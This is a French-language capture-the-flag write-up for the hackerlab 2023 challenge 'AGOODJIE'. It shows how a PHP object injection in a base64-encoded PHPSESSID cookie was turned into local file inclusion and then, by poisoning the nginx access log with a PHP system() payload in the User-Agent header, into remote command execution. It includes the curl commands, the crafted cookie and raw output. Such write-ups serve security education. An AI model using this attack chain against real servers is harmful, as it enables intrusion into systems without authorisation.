# AGOODJIE (writeup)

**CTF:** hackerlab 2023
**Auteur:** EDEMESSI Florian (nairolf32)
**Equipe:** zer0ne

## Etapes de résolution

Probablement l'épreuve la plus intéresante et réaliste à notre avis. Elle nous a quand même pris un certain temps...

Dès qu'on accède à la page web on est surpris par le peu de fonctionnalités offertes. Pas d'entrée utilisateur visible, les bouttons sont essentiellement décoratifs et le code source statique ne fait rien de particulier.

Par contre en utilisant l'outil **inspection** on remarque un **cookie PHPSESSID** créé en plus du cookie session usuel (sans le flag httponly en plus)

C'était un peu suspect d'avoir deux cookies de session en même temps et puis nous n'avions pas d'autre entrée donc nous l'avons décodé via cyberchef (url decode puis base 64)

```
O:11:"ArcaneModel":1:{s:10:"armageddon";s:15:"/www/index.html";}
```

Objet sérialisé puis désérialisé. Nous avons tout de suite pensé à une **injection d'objet PHP**. On a alors commencé à manipuler les différents attributs de l'objet pour voir lequel pouvait être manipulé. La présence du chemin d'accès */www/index.html* nous fait penser qu'une
vulnérabilité d'inclusion de fichier (LFI/RFI) pouvait être présente

Nous avons fait un simple test avec le payload **O:11:"ArcaneModel":1:
{s:10:"armageddon";s:10:"/etc/hosts";}** qui a marché et confirmé notre LFI.

Généralement le LFI ne permet que de lire les fichiers dont on est certain de la présence et les fichiers usuels comme */etc/passwd* auxquels nous avions accès ne nous ont pas vraiment été utiles

Etant limités à la simple lecture de fichiers la prochainne étape qui semblait évidente était d'obtenir une injection de commande (RCE)

Une méthode très connue de LFI2RCE (LFI to RCE) est le **log poisonning**

Nous savions déjà en analysant le code source et les headers du site que nous avions à faire à un serveur **nginx** et l'emplacement par défaut des logs pour ce serveur est **/var/log/nginx/access.log**

A partir de là nous avons simplement adapté notre payload et confirmé que nous pouvions lire les logs. puis pour l'injection il suffit de modifier notre **user-agent** qui était bel et bien enregistré dans le fichier log

En utilisant **curl** on a envoyé un simple paylaod

```
curl -i -v http://qualif.hackerlab.bj:11723 -A "<?php system('ls /'); ?>"**
```

Puis pour lire: **curl -i -v http://qualif.hackerlab.bj:11723 -b "PHPSESSID=TzoxMToiQXJjYW5lTW9kZWwiOjE6e3M6MTA6ImFybWFnZWRkb24iO3M6MjU6Ii92YXIvbG9nL25naW54L2FjY2Vzcy5sb2ciO30%3D"**

On a pu obtenir le contenu de la racine du serveur et on tombe directement sur ce qui semble être le flag

```
[REDACTED]

41.138.89.253 - 200 "GET / HTTP/1.1" "-" "curl/7.88.1"
41.138.89.253 - 200 "GET / HTTP/1.1" "-" "bin
dev
entrypoint.sh
etc
flag_pJpE6
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
www

[REDACTED]
```

maintenant il suffit de lire son contenu avec ce payload

```
curl -i -v http://qualif.hackerlab.bj:11723 -A "<?php system('cat
/flag_pJpE6'); ?>"
```

Puis pour voir le résultat on reprend la commande de lecture du log. La sortie était trop "verbeuse" alors on a utilisé un **grep** pour filtrer un peu avec le pattern *CTF*

```
└─$ curl -i -v http://qualif.hackerlab.bj:11723 -b
"PHPSESSID=TzoxMToiQXJjYW5lTW9kZWwiOjE6e3M6MTA6ImFybWFnZWRkb24iO3M6MjU6Ii92YX
IvbG9nL25naW54L2FjY2Vzcy5sb2ciO30%3D" | grep CTF
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:04 --:--:--
0*   Trying 54.37.70.250:11723...
*   Trying [64:ff9b::3625:46fa]:11723...
* Immediate connect fail for 64:ff9b::3625:46fa: Le réseau n'est pas
accessible
* Connected to qualif.hackerlab.bj (54.37.70.250) port 11723 (#0)
  0     0    0     0    0     0      0      0 --:--:--  0:00:05 --:--:--
0> GET / HTTP/1.1
> Host: qualif.hackerlab.bj:11723
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie:
PHPSESSID=TzoxMToiQXJjYW5lTW9kZWwiOjE6e3M6MTA6ImFybWFnZWRkb24iO3M6MjU6Ii92YXI
vbG9nL25naW54L2FjY2Vzcy5sb2ciO30%3D
>
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sun, 06 Aug 2023 11:04:37 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP/7.4.26
<
{ [1251 bytes data]
100  5565    0  5565    0     0    722      0 --:--:--  0:00:07 --:--:--
102641.138.89.253 - 200 "GET / HTTP/1.1" "-"
"CTF_AGOOGJIEPOISONNING_IS_FUNN!!_i_need_it_972139721"
100 34006    0 34006    0     0   2961      0 --:--:--  0:00:11 --:--:--
593241.138.89.253 - 200 "GET / HTTP/1.1" "-"
"CTF_AGOOGJIEPOISONNING_IS_FUNN!!_i_need_it_972139721"
100 59902    0 59902    0     0   2664      0 --:--:--  0:00:22 --:--:--
3406^C
```

Nous avons ainsi résolu ce challenge

**Flag:** CTF_AGOOGJIEPOISONNING_IS_FUNN!!_i_need_it_972139721